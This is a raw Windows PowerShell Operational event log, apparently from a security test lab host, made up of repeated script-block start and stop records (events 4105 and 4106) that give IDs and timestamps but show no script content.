LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025031
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025025
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025005
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025004
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025003
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025002
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
